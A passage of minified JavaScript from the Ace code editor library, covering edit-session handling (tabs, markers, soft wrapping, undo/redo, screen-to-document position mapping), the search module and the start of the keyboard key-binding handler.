\",this.getTabSize()):\"\t\"},this.setUseSoftTabs=function(e){this.setOption(\"useSoftTabs\",e)},this.getUseSoftTabs=function(){return this.$useSoftTabs&&!this.$mode.$indentWithTabs},this.setTabSize=function(e){this.setOption(\"tabSize\",e)},this.getTabSize=function(){return this.$tabSize},this.isTabStop=function(e){return this.$useSoftTabs&&e.column%this.$tabSize===0},this.$overwrite=!1,this.setOverwrite=function(e){this.setOption(\"overwrite\",e)},this.getOverwrite=function(){return this.$overwrite},this.toggleOverwrite=function(){this.setOverwrite(!this.$overwrite)},this.addGutterDecoration=function(e,t){this.$decorations[e]||(this.$decorations[e]=\"\"),this.$decorations[e]+=\" \"+t,this._signal(\"changeBreakpoint\",{})},this.removeGutterDecoration=function(e,t){this.$decorations[e]=(this.$decorations[e]||\"\").replace(\" \"+t,\"\"),this._signal(\"changeBreakpoint\",{})},this.getBreakpoints=function(){return this.$breakpoints},this.setBreakpoints=function(e){this.$breakpoints=[];for(var t=0;t<e.length;t++)this.$breakpoints[e[t]]=\"ace_breakpoint\";this._signal(\"changeBreakpoint\",{})},this.clearBreakpoints=function(){this.$breakpoints=[],this._signal(\"changeBreakpoint\",{})},this.setBreakpoint=function(e,t){t===undefined&&(t=\"ace_breakpoint\"),t?this.$breakpoints[e]=t:delete this.$breakpoints[e],this._signal(\"changeBreakpoint\",{})},this.clearBreakpoint=function(e){delete this.$breakpoints[e],this._signal(\"changeBreakpoint\",{})},this.addMarker=function(e,t,n,r){var i=this.$markerId++,s={range:e,type:n||\"line\",renderer:typeof n==\"function\"?n:null,clazz:t,inFront:!!r,id:i};return r?(this.$frontMarkers[i]=s,this._signal(\"changeFrontMarker\")):(this.$backMarkers[i]=s,this._signal(\"changeBackMarker\")),i},this.addDynamicMarker=function(e,t){if(!e.update)return;var n=this.$markerId++;return e.id=n,e.inFront=!!t,t?(this.$frontMarkers[n]=e,this._signal(\"changeFrontMarker\")):(this.$backMarkers[n]=e,this._signal(\"changeBackMarker\")),e},this.removeMarker=function(e){var t=this.$frontMarkers[e]||this.$backMarkers[e];if(!t)return;var n=t.inFront?this.$frontMarkers:this.$backMarkers;t&&(delete n[e],this._signal(t.inFront?\"changeFrontMarker\":\"changeBackMarker\"))},this.getMarkers=function(e){return e?this.$frontMarkers:this.$backMarkers},this.highlight=function(e){if(!this.$searchHighlight){var t=new h(null,\"ace_selected-word\",\"text\");this.$searchHighlight=this.addDynamicMarker(t)}this.$searchHighlight.setRegexp(e)},this.highlightLines=function(e,t,n,r){typeof t!=\"number\"&&(n=t,t=e),n||(n=\"ace_step\");var i=new f(e,0,t,Infinity);return i.id=this.addMarker(i,n,\"fullLine\",r),i},this.setAnnotations=function(e){this.$annotations=e,this._signal(\"changeAnnotation\",{})},this.getAnnotations=function(){return this.$annotations||[]},this.clearAnnotations=function(){this.setAnnotations([])},this.$detectNewLine=function(e){var t=e.match(/^.*?(\\r?\\n)/m);t?this.$autoNewLine=t[1]:this.$autoNewLine=\"\\n\"},this.getWordRange=function(e,t){var n=this.getLine(e),r=!1;t>0&&(r=!!n.charAt(t-1).match(this.tokenRe)),r||(r=!!n.charAt(t).match(this.tokenRe));if(r)var i=this.tokenRe;else if(/^\\s+$/.test(n.slice(t-1,t+1)))var i=/\\s/;else var i=this.nonTokenRe;var s=t;if(s>0){do s--;while(s>=0&&n.charAt(s).match(i));s++}var o=t;while(o<n.length&&n.charAt(o).match(i))o++;return new f(e,s,e,o)},this.getAWordRange=function(e,t){var n=this.getWordRange(e,t),r=this.getLine(n.end.row);while(r.charAt(n.end.column).match(/[ \\t]/))n.end.column+=1;return n},this.setNewLineMode=function(e){this.doc.setNewLineMode(e)},this.getNewLineMode=function(){return this.doc.getNewLineMode()},this.setUseWorker=function(e){this.setOption(\"useWorker\",e)},this.getUseWorker=function(){return this.$useWorker},this.onReloadTokenizer=function(e){var t=e.data;this.bgTokenizer.start(t.first),this._signal(\"tokenizerUpdate\",e)},this.$modes={},this.$mode=null,this.$modeId=null,this.setMode=function(e,t){if(e&&typeof e==\"object\"){if(e.getTokenizer)return this.$onChangeMode(e);var n=e,r=n.path}else r=e||\"ace/mode/text\";this.$modes[\"ace/mode/text\"]||(this.$modes[\"ace/mode/text\"]=new a);if(this.$modes[r]&&!n){this.$onChangeMode(this.$modes[r]),t&&t();return}this.$modeId=r,s.loadModule([\"mode\",r],function(e){if(this.$modeId!==r)return t&&t();this.$modes[r]&&!n?this.$onChangeMode(this.$modes[r]):e&&e.Mode&&(e=new e.Mode(n),n||(this.$modes[r]=e,e.$id=r),this.$onChangeMode(e)),t&&t()}.bind(this)),this.$mode||this.$onChangeMode(this.$modes[\"ace/mode/text\"],!0)},this.$onChangeMode=function(e,t){t||(this.$modeId=e.$id);if(this.$mode===e)return;this.$mode=e,this.$stopWorker(),this.$useWorker&&this.$startWorker();var n=e.getTokenizer();if(n.addEventListener!==undefined){var r=this.onReloadTokenizer.bind(this);n.addEventListener(\"update\",r)}if(!this.bgTokenizer){this.bgTokenizer=new c(n);var i=this;this.bgTokenizer.addEventListener(\"update\",function(e){i._signal(\"tokenizerUpdate\",e)})}else this.bgTokenizer.setTokenizer(n);this.bgTokenizer.setDocument(this.getDocument()),this.tokenRe=e.tokenRe,this.nonTokenRe=e.nonTokenRe,t||(e.attachToSession&&e.attachToSession(this),this.$options.wrapMethod.set.call(this,this.$wrapMethod),this.$setFolding(e.foldingRules),this.bgTokenizer.start(0),this._emit(\"changeMode\"))},this.$stopWorker=function(){this.$worker&&(this.$worker.terminate(),this.$worker=null)},this.$startWorker=function(){try{this.$worker=this.$mode.createWorker(this)}catch(e){s.warn(\"Could not load worker\",e),this.$worker=null}},this.getMode=function(){return this.$mode},this.$scrollTop=0,this.setScrollTop=function(e){if(this.$scrollTop===e||isNaN(e))return;this.$scrollTop=e,this._signal(\"changeScrollTop\",e)},this.getScrollTop=function(){return this.$scrollTop},this.$scrollLeft=0,this.setScrollLeft=function(e){if(this.$scrollLeft===e||isNaN(e))return;this.$scrollLeft=e,this._signal(\"changeScrollLeft\",e)},this.getScrollLeft=function(){return this.$scrollLeft},this.getScreenWidth=function(){return this.$computeWidth(),this.lineWidgets?Math.max(this.getLineWidgetMaxWidth(),this.screenWidth):this.screenWidth},this.getLineWidgetMaxWidth=function(){if(this.lineWidgetsWidth!=null)return this.lineWidgetsWidth;var e=0;return this.lineWidgets.forEach(function(t){t&&t.screenWidth>e&&(e=t.screenWidth)}),this.lineWidgetWidth=e},this.$computeWidth=function(e){if(this.$modified||e){this.$modified=!1;if(this.$useWrapMode)return this.screenWidth=this.$wrapLimit;var t=this.doc.getAllLines(),n=this.$rowLengthCache,r=0,i=0,s=this.$foldData[i],o=s?s.start.row:Infinity,u=t.length;for(var a=0;a<u;a++){if(a>o){a=s.end.row+1;if(a>=u)break;s=this.$foldData[i++],o=s?s.start.row:Infinity}n[a]==null&&(n[a]=this.$getStringScreenWidth(t[a])[0]),n[a]>r&&(r=n[a])}this.screenWidth=r}},this.getLine=function(e){return this.doc.getLine(e)},this.getLines=function(e,t){return this.doc.getLines(e,t)},this.getLength=function(){return this.doc.getLength()},this.getTextRange=function(e){return this.doc.getTextRange(e||this.selection.getRange())},this.insert=function(e,t){return this.doc.insert(e,t)},this.remove=function(e){return this.doc.remove(e)},this.removeFullLines=function(e,t){return this.doc.removeFullLines(e,t)},this.undoChanges=function(e,t){if(!e.length)return;this.$fromUndo=!0;var n=null;for(var r=e.length-1;r!=-1;r--){var i=e[r];i.group==\"doc\"?(this.doc.revertDeltas(i.deltas),n=this.$getUndoSelection(i.deltas,!0,n)):i.deltas.forEach(function(e){this.addFolds(e.folds)},this)}return this.$fromUndo=!1,n&&this.$undoSelect&&!t&&this.selection.setSelectionRange(n),n},this.redoChanges=function(e,t){if(!e.length)return;this.$fromUndo=!0;var n=null;for(var r=0;r<e.length;r++){var i=e[r];i.group==\"doc\"&&(this.doc.applyDeltas(i.deltas),n=this.$getUndoSelection(i.deltas,!1,n))}return this.$fromUndo=!1,n&&this.$undoSelect&&!t&&this.selection.setSelectionRange(n),n},this.setUndoSelect=function(e){this.$undoSelect=e},this.$getUndoSelection=function(e,t,n){function r(e){return t?e.action!==\"insert\":e.action===\"insert\"}var i=e[0],s,o,u=!1;r(i)?(s=f.fromPoints(i.start,i.end),u=!0):(s=f.fromPoints(i.start,i.start),u=!1);for(var a=1;a<e.length;a++)i=e[a],r(i)?(o=i.start,s.compare(o.row,o.column)==-1&&s.setStart(o),o=i.end,s.compare(o.row,o.column)==1&&s.setEnd(o),u=!0):(o=i.start,s.compare(o.row,o.column)==-1&&(s=f.fromPoints(i.start,i.start)),u=!1);if(n!=null){f.comparePoints(n.start,s.start)===0&&(n.start.column+=s.end.column-s.start.column,n.end.column+=s.end.column-s.start.column);var l=n.compareRange(s);l==1?s.setStart(n.start):l==-1&&s.setEnd(n.end)}return s},this.replace=function(e,t){return this.doc.replace(e,t)},this.moveText=function(e,t,n){var r=this.getTextRange(e),i=this.getFoldsInRange(e),s=f.fromPoints(t,t);if(!n){this.remove(e);var o=e.start.row-e.end.row,u=o?-e.end.column:e.start.column-e.end.column;u&&(s.start.row==e.end.row&&s.start.column>e.end.column&&(s.start.column+=u),s.end.row==e.end.row&&s.end.column>e.end.column&&(s.end.column+=u)),o&&s.start.row>=e.end.row&&(s.start.row+=o,s.end.row+=o)}s.end=this.insert(s.start,r);if(i.length){var a=e.start,l=s.start,o=l.row-a.row,u=l.column-a.column;this.addFolds(i.map(function(e){return e=e.clone(),e.start.row==a.row&&(e.start.column+=u),e.end.row==a.row&&(e.end.column+=u),e.start.row+=o,e.end.row+=o,e}))}return s},this.indentRows=function(e,t,n){n=n.replace(/\\t/g,this.getTabString());for(var r=e;r<=t;r++)this.doc.insertInLine({row:r,column:0},n)},this.outdentRows=function(e){var t=e.collapseRows(),n=new f(0,0,0,0),r=this.getTabSize();for(var i=t.start.row;i<=t.end.row;++i){var s=this.getLine(i);n.start.row=i,n.end.row=i;for(var o=0;o<r;++o)if(s.charAt(o)!=\" \")break;o<r&&s.charAt(o)==\"\t\"?(n.start.column=o,n.end.column=o+1):(n.start.column=0,n.end.column=o),this.remove(n)}},this.$moveLines=function(e,t,n){e=this.getRowFoldStart(e),t=this.getRowFoldEnd(t);if(n<0){var r=this.getRowFoldStart(e+n);if(r<0)return 0;var i=r-e}else if(n>0){var r=this.getRowFoldEnd(t+n);if(r>this.doc.getLength()-1)return 0;var i=r-t}else{e=this.$clipRowToDocument(e),t=this.$clipRowToDocument(t);var i=t-e+1}var s=new f(e,0,t,Number.MAX_VALUE),o=this.getFoldsInRange(s).map(function(e){return e=e.clone(),e.start.row+=i,e.end.row+=i,e}),u=n==0?this.doc.getLines(e,t):this.doc.removeFullLines(e,t);return this.doc.insertFullLines(e+i,u),o.length&&this.addFolds(o),i},this.moveLinesUp=function(e,t){return this.$moveLines(e,t,-1)},this.moveLinesDown=function(e,t){return this.$moveLines(e,t,1)},this.duplicateLines=function(e,t){return this.$moveLines(e,t,0)},this.$clipRowToDocument=function(e){return Math.max(0,Math.min(e,this.doc.getLength()-1))},this.$clipColumnToRow=function(e,t){return t<0?0:Math.min(this.doc.getLine(e).length,t)},this.$clipPositionToDocument=function(e,t){t=Math.max(0,t);if(e<0)e=0,t=0;else{var n=this.doc.getLength();e>=n?(e=n-1,t=this.doc.getLine(n-1).length):t=Math.min(this.doc.getLine(e).length,t)}return{row:e,column:t}},this.$clipRangeToDocument=function(e){e.start.row<0?(e.start.row=0,e.start.column=0):e.start.column=this.$clipColumnToRow(e.start.row,e.start.column);var t=this.doc.getLength()-1;return e.end.row>t?(e.end.row=t,e.end.column=this.doc.getLine(t).length):e.end.column=this.$clipColumnToRow(e.end.row,e.end.column),e},this.$wrapLimit=80,this.$useWrapMode=!1,this.$wrapLimitRange={min:null,max:null},this.setUseWrapMode=function(e){if(e!=this.$useWrapMode){this.$useWrapMode=e,this.$modified=!0,this.$resetRowCache(0);if(e){var t=this.getLength();this.$wrapData=Array(t),this.$updateWrapData(0,t-1)}this._signal(\"changeWrapMode\")}},this.getUseWrapMode=function(){return this.$useWrapMode},this.setWrapLimitRange=function(e,t){if(this.$wrapLimitRange.min!==e||this.$wrapLimitRange.max!==t)this.$wrapLimitRange={min:e,max:t},this.$modified=!0,this.$useWrapMode&&this._signal(\"changeWrapMode\")},this.adjustWrapLimit=function(e,t){var n=this.$wrapLimitRange;n.max<0&&(n={min:t,max:t});var r=this.$constrainWrapLimit(e,n.min,n.max);return r!=this.$wrapLimit&&r>1?(this.$wrapLimit=r,this.$modified=!0,this.$useWrapMode&&(this.$updateWrapData(0,this.getLength()-1),this.$resetRowCache(0),this._signal(\"changeWrapLimit\")),!0):!1},this.$constrainWrapLimit=function(e,t,n){return t&&(e=Math.max(t,e)),n&&(e=Math.min(n,e)),e},this.getWrapLimit=function(){return this.$wrapLimit},this.setWrapLimit=function(e){this.setWrapLimitRange(e,e)},this.getWrapLimitRange=function(){return{min:this.$wrapLimitRange.min,max:this.$wrapLimitRange.max}},this.$updateInternalDataOnChange=function(e){var t=this.$useWrapMode,n=e.action,r=e.start,i=e.end,s=r.row,o=i.row,u=o-s,a=null;this.$updating=!0;if(u!=0)if(n===\"remove\"){this[t?\"$wrapData\":\"$rowLengthCache\"].splice(s,u);var f=this.$foldData;a=this.getFoldsInRange(e),this.removeFolds(a);var l=this.getFoldLine(i.row),c=0;if(l){l.addRemoveChars(i.row,i.column,r.column-i.column),l.shiftRow(-u);var h=this.getFoldLine(s);h&&h!==l&&(h.merge(l),l=h),c=f.indexOf(l)+1}for(c;c<f.length;c++){var l=f[c];l.start.row>=i.row&&l.shiftRow(-u)}o=s}else{var p=Array(u);p.unshift(s,0);var d=t?this.$wrapData:this.$rowLengthCache;d.splice.apply(d,p);var f=this.$foldData,l=this.getFoldLine(s),c=0;if(l){var v=l.range.compareInside(r.row,r.column);v==0?(l=l.split(r.row,r.column),l&&(l.shiftRow(u),l.addRemoveChars(o,0,i.column-r.column))):v==-1&&(l.addRemoveChars(s,0,i.column-r.column),l.shiftRow(u)),c=f.indexOf(l)+1}for(c;c<f.length;c++){var l=f[c];l.start.row>=s&&l.shiftRow(u)}}else{u=Math.abs(e.start.column-e.end.column),n===\"remove\"&&(a=this.getFoldsInRange(e),this.removeFolds(a),u=-u);var l=this.getFoldLine(s);l&&l.addRemoveChars(s,r.column,u)}return t&&this.$wrapData.length!=this.doc.getLength()&&console.error(\"doc.getLength() and $wrapData.length have to be the same!\"),this.$updating=!1,t?this.$updateWrapData(s,o):this.$updateRowLengthCache(s,o),a},this.$updateRowLengthCache=function(e,t,n){this.$rowLengthCache[e]=null,this.$rowLengthCache[t]=null},this.$updateWrapData=function(e,t){var r=this.doc.getAllLines(),i=this.getTabSize(),s=this.$wrapData,o=this.$wrapLimit,a,f,l=e;t=Math.min(t,r.length-1);while(l<=t)f=this.getFoldLine(l,f),f?(a=[],f.walk(function(e,t,i,s){var o;if(e!=null){o=this.$getDisplayTokens(e,a.length),o[0]=n;for(var f=1;f<o.length;f++)o[f]=u}else o=this.$getDisplayTokens(r[t].substring(s,i),a.length);a=a.concat(o)}.bind(this),f.end.row,r[f.end.row].length+1),s[f.start.row]=this.$computeWrapSplits(a,o,i),l=f.end.row+1):(a=this.$getDisplayTokens(r[l]),s[l]=this.$computeWrapSplits(a,o,i),l++)};var e=1,t=2,n=3,u=4,l=9,p=10,d=11,v=12;this.$computeWrapSplits=function(e,r,i){function g(){var t=0;if(m===0)return t;if(h)for(var n=0;n<e.length;n++){var r=e[n];if(r==p)t+=1;else{if(r!=d){if(r==v)continue;break}t+=i}}return c&&h!==!1&&(t+=i),Math.min(t,m)}function y(t){var n=e.slice(a,t),r=n.length;n.join(\"\").replace(/12/g,function(){r-=1}).replace(/2/g,function(){r-=1}),s.length||(b=g(),s.indent=b),f+=r,s.push(f),a=t}if(e.length==0)return[];var s=[],o=e.length,a=0,f=0,c=this.$wrapAsCode,h=this.$indentedSoftWrap,m=r<=Math.max(2*i,8)||h===!1?0:Math.floor(r/2),b=0;while(o-a>r-b){var w=a+r-b;if(e[w-1]>=p&&e[w]>=p){y(w);continue}if(e[w]==n||e[w]==u){for(w;w!=a-1;w--)if(e[w]==n)break;if(w>a){y(w);continue}w=a+r;for(w;w<e.length;w++)if(e[w]!=u)break;if(w==e.length)break;y(w);continue}var E=Math.max(w-(r-(r>>2)),a-1);while(w>E&&e[w]<n)w--;if(c){while(w>E&&e[w]<n)w--;while(w>E&&e[w]==l)w--}else while(w>E&&e[w]<p)w--;if(w>E){y(++w);continue}w=a+r,e[w]==t&&w--,y(w-b)}return s},this.$getDisplayTokens=function(n,r){var i=[],s;r=r||0;for(var o=0;o<n.length;o++){var u=n.charCodeAt(o);if(u==9){s=this.getScreenTabSize(i.length+r),i.push(d);for(var a=1;a<s;a++)i.push(v)}else u==32?i.push(p):u>39&&u<48||u>57&&u<64?i.push(l):u>=4352&&m(u)?i.push(e,t):i.push(e)}return i},this.$getStringScreenWidth=function(e,t,n){if(t==0)return[0,0];t==null&&(t=Infinity),n=n||0;var r,i;for(i=0;i<e.length;i++){r=e.charCodeAt(i),r==9?n+=this.getScreenTabSize(n):r>=4352&&m(r)?n+=2:n+=1;if(n>t)break}return[n,i]},this.lineWidgets=null,this.getRowLength=function(e){if(this.lineWidgets)var t=this.lineWidgets[e]&&this.lineWidgets[e].rowCount||0;else t=0;return!this.$useWrapMode||!this.$wrapData[e]?1+t:this.$wrapData[e].length+1+t},this.getRowLineCount=function(e){return!this.$useWrapMode||!this.$wrapData[e]?1:this.$wrapData[e].length+1},this.getRowWrapIndent=function(e){if(this.$useWrapMode){var t=this.screenToDocumentPosition(e,Number.MAX_VALUE),n=this.$wrapData[t.row];return n.length&&n[0]<t.column?n.indent:0}return 0},this.getScreenLastRowColumn=function(e){var t=this.screenToDocumentPosition(e,Number.MAX_VALUE);return this.documentToScreenColumn(t.row,t.column)},this.getDocumentLastRowColumn=function(e,t){var n=this.documentToScreenRow(e,t);return this.getScreenLastRowColumn(n)},this.getDocumentLastRowColumnPosition=function(e,t){var n=this.documentToScreenRow(e,t);return this.screenToDocumentPosition(n,Number.MAX_VALUE/10)},this.getRowSplitData=function(e){return this.$useWrapMode?this.$wrapData[e]:undefined},this.getScreenTabSize=function(e){return this.$tabSize-e%this.$tabSize},this.screenToDocumentRow=function(e,t){return this.screenToDocumentPosition(e,t).row},this.screenToDocumentColumn=function(e,t){return this.screenToDocumentPosition(e,t).column},this.screenToDocumentPosition=function(e,t){if(e<0)return{row:0,column:0};var n,r=0,i=0,s,o=0,u=0,a=this.$screenRowCache,f=this.$getRowCacheIndex(a,e),l=a.length;if(l&&f>=0)var o=a[f],r=this.$docRowCache[f],c=e>a[l-1];else var c=!l;var h=this.getLength()-1,p=this.getNextFoldLine(r),d=p?p.start.row:Infinity;while(o<=e){u=this.getRowLength(r);if(o+u>e||r>=h)break;o+=u,r++,r>d&&(r=p.end.row+1,p=this.getNextFoldLine(r,p),d=p?p.start.row:Infinity),c&&(this.$docRowCache.push(r),this.$screenRowCache.push(o))}if(p&&p.start.row<=r)n=this.getFoldDisplayLine(p),r=p.start.row;else{if(o+u<=e||r>h)return{row:h,column:this.getLine(h).length};n=this.getLine(r),p=null}var v=0;if(this.$useWrapMode){var m=this.$wrapData[r];if(m){var g=Math.floor(e-o);s=m[g],g>0&&m.length&&(v=m.indent,i=m[g-1]||m[m.length-1],n=n.substring(i))}}return i+=this.$getStringScreenWidth(n,t-v)[1],this.$useWrapMode&&i>=s&&(i=s-1),p?p.idxToPosition(i):{row:r,column:i}},this.documentToScreenPosition=function(e,t){if(typeof t==\"undefined\")var n=this.$clipPositionToDocument(e.row,e.column);else n=this.$clipPositionToDocument(e,t);e=n.row,t=n.column;var r=0,i=null,s=null;s=this.getFoldAt(e,t,1),s&&(e=s.start.row,t=s.start.column);var o,u=0,a=this.$docRowCache,f=this.$getRowCacheIndex(a,e),l=a.length;if(l&&f>=0)var u=a[f],r=this.$screenRowCache[f],c=e>a[l-1];else var c=!l;var h=this.getNextFoldLine(u),p=h?h.start.row:Infinity;while(u<e){if(u>=p){o=h.end.row+1;if(o>e)break;h=this.getNextFoldLine(o,h),p=h?h.start.row:Infinity}else o=u+1;r+=this.getRowLength(u),u=o,c&&(this.$docRowCache.push(u),this.$screenRowCache.push(r))}var d=\"\";h&&u>=p?(d=this.getFoldDisplayLine(h,e,t),i=h.start.row):(d=this.getLine(e).substring(0,t),i=e);var v=0;if(this.$useWrapMode){var m=this.$wrapData[i];if(m){var g=0;while(d.length>=m[g])r++,g++;d=d.substring(m[g-1]||0,d.length),v=g>0?m.indent:0}}return{row:r,column:v+this.$getStringScreenWidth(d)[0]}},this.documentToScreenColumn=function(e,t){return this.documentToScreenPosition(e,t).column},this.documentToScreenRow=function(e,t){return this.documentToScreenPosition(e,t).row},this.getScreenLength=function(){var e=0,t=null;if(!this.$useWrapMode){e=this.getLength();var n=this.$foldData;for(var r=0;r<n.length;r++)t=n[r],e-=t.end.row-t.start.row}else{var i=this.$wrapData.length,s=0,r=0,t=this.$foldData[r++],o=t?t.start.row:Infinity;while(s<i){var u=this.$wrapData[s];e+=u?u.length+1:1,s++,s>o&&(s=t.end.row+1,t=this.$foldData[r++],o=t?t.start.row:Infinity)}}return this.lineWidgets&&(e+=this.$getWidgetScreenLength()),e},this.$setFontMetrics=function(e){},this.destroy=function(){this.bgTokenizer&&(this.bgTokenizer.setDocument(null),this.bgTokenizer=null),this.$stopWorker()}}).call(p.prototype),e(\"./edit_session/folding\").Folding.call(p.prototype),e(\"./edit_session/bracket_match\").BracketMatch.call(p.prototype),s.defineOptions(p.prototype,\"session\",{wrap:{set:function(e){!e||e==\"off\"?e=!1:e==\"free\"?e=!0:e==\"printMargin\"?e=-1:typeof e==\"string\"&&(e=parseInt(e,10)||!1);if(this.$wrap==e)return;this.$wrap=e;if(!e)this.setUseWrapMode(!1);else{var t=typeof e==\"number\"?e:null;this.setWrapLimitRange(t,t),this.setUseWrapMode(!0)}},get:function(){return this.getUseWrapMode()?this.$wrap==-1?\"printMargin\":this.getWrapLimitRange().min?this.$wrap:\"free\":\"off\"},handlesSet:!0},wrapMethod:{set:function(e){e=e==\"auto\"?this.$mode.type!=\"text\":e!=\"text\",e!=this.$wrapAsCode&&(this.$wrapAsCode=e,this.$useWrapMode&&(this.$modified=!0,this.$resetRowCache(0),this.$updateWrapData(0,this.getLength()-1)))},initialValue:\"auto\"},indentedSoftWrap:{initialValue:!0},firstLineNumber:{set:function(){this._signal(\"changeBreakpoint\")},initialValue:1},useWorker:{set:function(e){this.$useWorker=e,this.$stopWorker(),e&&this.$startWorker()},initialValue:!0},useSoftTabs:{initialValue:!0},tabSize:{set:function(e){if(isNaN(e)||this.$tabSize===e)return;this.$modified=!0,this.$rowLengthCache=[],this.$tabSize=e,this._signal(\"changeTabSize\")},initialValue:4,handlesSet:!0},overwrite:{set:function(e){this._signal(\"changeOverwrite\")},initialValue:!1},newLineMode:{set:function(e){this.doc.setNewLineMode(e)},get:function(){return this.doc.getNewLineMode()},handlesSet:!0},mode:{set:function(e){this.setMode(e)},get:function(){return this.$modeId}}}),t.EditSession=p}),ace.define(\"ace/search\",[\"require\",\"exports\",\"module\",\"ace/lib/lang\",\"ace/lib/oop\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"./lib/lang\"),i=e(\"./lib/oop\"),s=e(\"./range\").Range,o=function(){this.$options={}};(function(){this.set=function(e){return i.mixin(this.$options,e),this},this.getOptions=function(){return r.copyObject(this.$options)},this.setOptions=function(e){this.$options=e},this.find=function(e){var t=this.$options,n=this.$matchIterator(e,t);if(!n)return!1;var r=null;return n.forEach(function(e,n,i){if(!e.start){var o=e.offset+(i||0);r=new s(n,o,n,o+e.length);if(!e.length&&t.start&&t.start.start&&t.skipCurrent!=0&&r.isEqual(t.start))return r=null,!1}else r=e;return!0}),r},this.findAll=function(e){var t=this.$options;if(!t.needle)return[];this.$assembleRegExp(t);var n=t.range,i=n?e.getLines(n.start.row,n.end.row):e.doc.getAllLines(),o=[],u=t.re;if(t.$isMultiLine){var a=u.length,f=i.length-a,l;e:for(var c=u.offset||0;c<=f;c++){for(var h=0;h<a;h++)if(i[c+h].search(u[h])==-1)continue e;var p=i[c],d=i[c+a-1],v=p.length-p.match(u[0])[0].length,m=d.match(u[a-1])[0].length;if(l&&l.end.row===c&&l.end.column>v)continue;o.push(l=new s(c,v,c+a-1,m)),a>2&&(c=c+a-2)}}else for(var g=0;g<i.length;g++){var y=r.getMatchOffsets(i[g],u);for(var h=0;h<y.length;h++){var b=y[h];o.push(new s(g,b.offset,g,b.offset+b.length))}}if(n){var w=n.start.column,E=n.start.column,g=0,h=o.length-1;while(g<h&&o[g].start.column<w&&o[g].start.row==n.start.row)g++;while(g<h&&o[h].end.column>E&&o[h].end.row==n.end.row)h--;o=o.slice(g,h+1);for(g=0,h=o.length;g<h;g++)o[g].start.row+=n.start.row,o[g].end.row+=n.start.row}return o},this.replace=function(e,t){var n=this.$options,r=this.$assembleRegExp(n);if(n.$isMultiLine)return t;if(!r)return;var i=r.exec(e);if(!i||i[0].length!=e.length)return null;t=e.replace(r,t);if(n.preserveCase){t=t.split(\"\");for(var s=Math.min(e.length,e.length);s--;){var o=e[s];o&&o.toLowerCase()!=o?t[s]=t[s].toUpperCase():t[s]=t[s].toLowerCase()}t=t.join(\"\")}return t},this.$matchIterator=function(e,t){var n=this.$assembleRegExp(t);if(!n)return!1;var i;if(t.$isMultiLine)var o=n.length,u=function(t,r,u){var a=t.search(n[0]);if(a==-1)return;for(var f=1;f<o;f++){t=e.getLine(r+f);if(t.search(n[f])==-1)return}var l=t.match(n[o-1])[0].length,c=new s(r,a,r+o-1,l);n.offset==1?(c.start.row--,c.start.column=Number.MAX_VALUE):u&&(c.start.column+=u);if(i(c))return!0};else if(t.backwards)var u=function(e,t,s){var o=r.getMatchOffsets(e,n);for(var u=o.length-1;u>=0;u--)if(i(o[u],t,s))return!0};else var u=function(e,t,s){var o=r.getMatchOffsets(e,n);for(var u=0;u<o.length;u++)if(i(o[u],t,s))return!0};var a=this.$lineIterator(e,t);return{forEach:function(e){i=e,a.forEach(u)}}},this.$assembleRegExp=function(e,t){if(e.needle instanceof RegExp)return e.re=e.needle;var n=e.needle;if(!e.needle)return e.re=!1;e.regExp||(n=r.escapeRegExp(n)),e.wholeWord&&(n=\"\\\\b\"+n+\"\\\\b\");var i=e.caseSensitive?\"gm\":\"gmi\";e.$isMultiLine=!t&&/[\\n\\r]/.test(n);if(e.$isMultiLine)return e.re=this.$assembleMultilineRegExp(n,i);try{var s=new RegExp(n,i)}catch(o){s=!1}return e.re=s},this.$assembleMultilineRegExp=function(e,t){var n=e.replace(/\\r\\n|\\r|\\n/g,\"$\\n^\").split(\"\\n\"),r=[];for(var i=0;i<n.length;i++)try{r.push(new RegExp(n[i],t))}catch(s){return!1}return n[0]==\"\"?(r.shift(),r.offset=1):r.offset=0,r},this.$lineIterator=function(e,t){var n=t.backwards==1,r=t.skipCurrent!=0,i=t.range,s=t.start;s||(s=i?i[n?\"end\":\"start\"]:e.selection.getRange()),s.start&&(s=s[r!=n?\"end\":\"start\"]);var o=i?i.start.row:0,u=i?i.end.row:e.getLength()-1,a=n?function(n){var r=s.row,i=e.getLine(r).substring(0,s.column);if(n(i,r))return;for(r--;r>=o;r--)if(n(e.getLine(r),r))return;if(t.wrap==0)return;for(r=u,o=s.row;r>=o;r--)if(n(e.getLine(r),r))return}:function(n){var r=s.row,i=e.getLine(r).substr(s.column);if(n(i,r,s.column))return;for(r+=1;r<=u;r++)if(n(e.getLine(r),r))return;if(t.wrap==0)return;for(r=o,u=s.row;r<=u;r++)if(n(e.getLine(r),r))return};return{forEach:a}}}).call(o.prototype),t.Search=o}),ace.define(\"ace/keyboard/hash_handler\",[\"require\",\"exports\",\"module\",\"ace/lib/keys\",\"ace/lib/useragent\"],function(e,t,n){\"use strict\";function o(e,t){this.platform=t||(i.isMac?\"mac\":\"win\"),this.commands={},this.commandKeyBinding={},this.addCommands(e),this.$singleCommand=!0}function u(e,t){o.call(this,e,t),this.$singleCommand=!1}var r=e(\"../lib/keys\"),i=e(\"../lib/useragent\"),s=r.KEY_MODS;u.prototype=o.prototype,function(){function e(e){return typeof e==\"object\"&&e.bindKey&&e.bindKey.position||0}this.addCommand=function(e){this.commands[e.name]&&this.removeCommand(e),this.commands[e.name]=e,e.bindKey&&this._buildKeyHash(e)},this.removeCommand=function(e,t){var n=e&&(typeof e==\"string\"?e:e.name);e=this.commands[n],t||delete this.commands[n];var r=this.commandKeyBinding;for(var i in r){var s=r[i];if(s==e)delete r[i];else if(Array.isArray(s)){var o=s.indexOf(e);o!=-1&&(s.splice(o,1),s.length==1&&(r[i]=s[0]))}}},this.bindKey=function(e,t,n){typeof e==\"object\"&&(n==undefined&&(n=e.position),e=e[this.platform]);if(!e)return;if(typeof t==\"function\")return this.addCommand({exec:t,bindKey:e,name:t.name||e});e.split(\"|\").forEach(function(e){var r=\"\";if(e.indexOf(\" \")!=-1){var i=e.split(/\\s+/);e=i.pop(),i.forEach(function(e){var t=this.parseKeys(e),n=s[t.hashId]+t.key;r+=(r?\" \":\"\")+n,this._addCommandToBinding(r,\"chainKeys\")},this),r+=\" \"}var o=this.parseKeys(e),u=s[o.hashId]+o.key;this._addCommandToBinding(r+u,t,n)},this)},this._addCommandToBinding=function(t,n,r){var i=this.commandKeyBinding,s;if(!n)delete i[t];else if(!i[t]||this.$singleCommand)i[t]=n;else{Array.isArray(i[t])?(s=i[t].indexOf(n))!=-1&&i[t].splice(s,1):i[t]=[i[t]],typeof 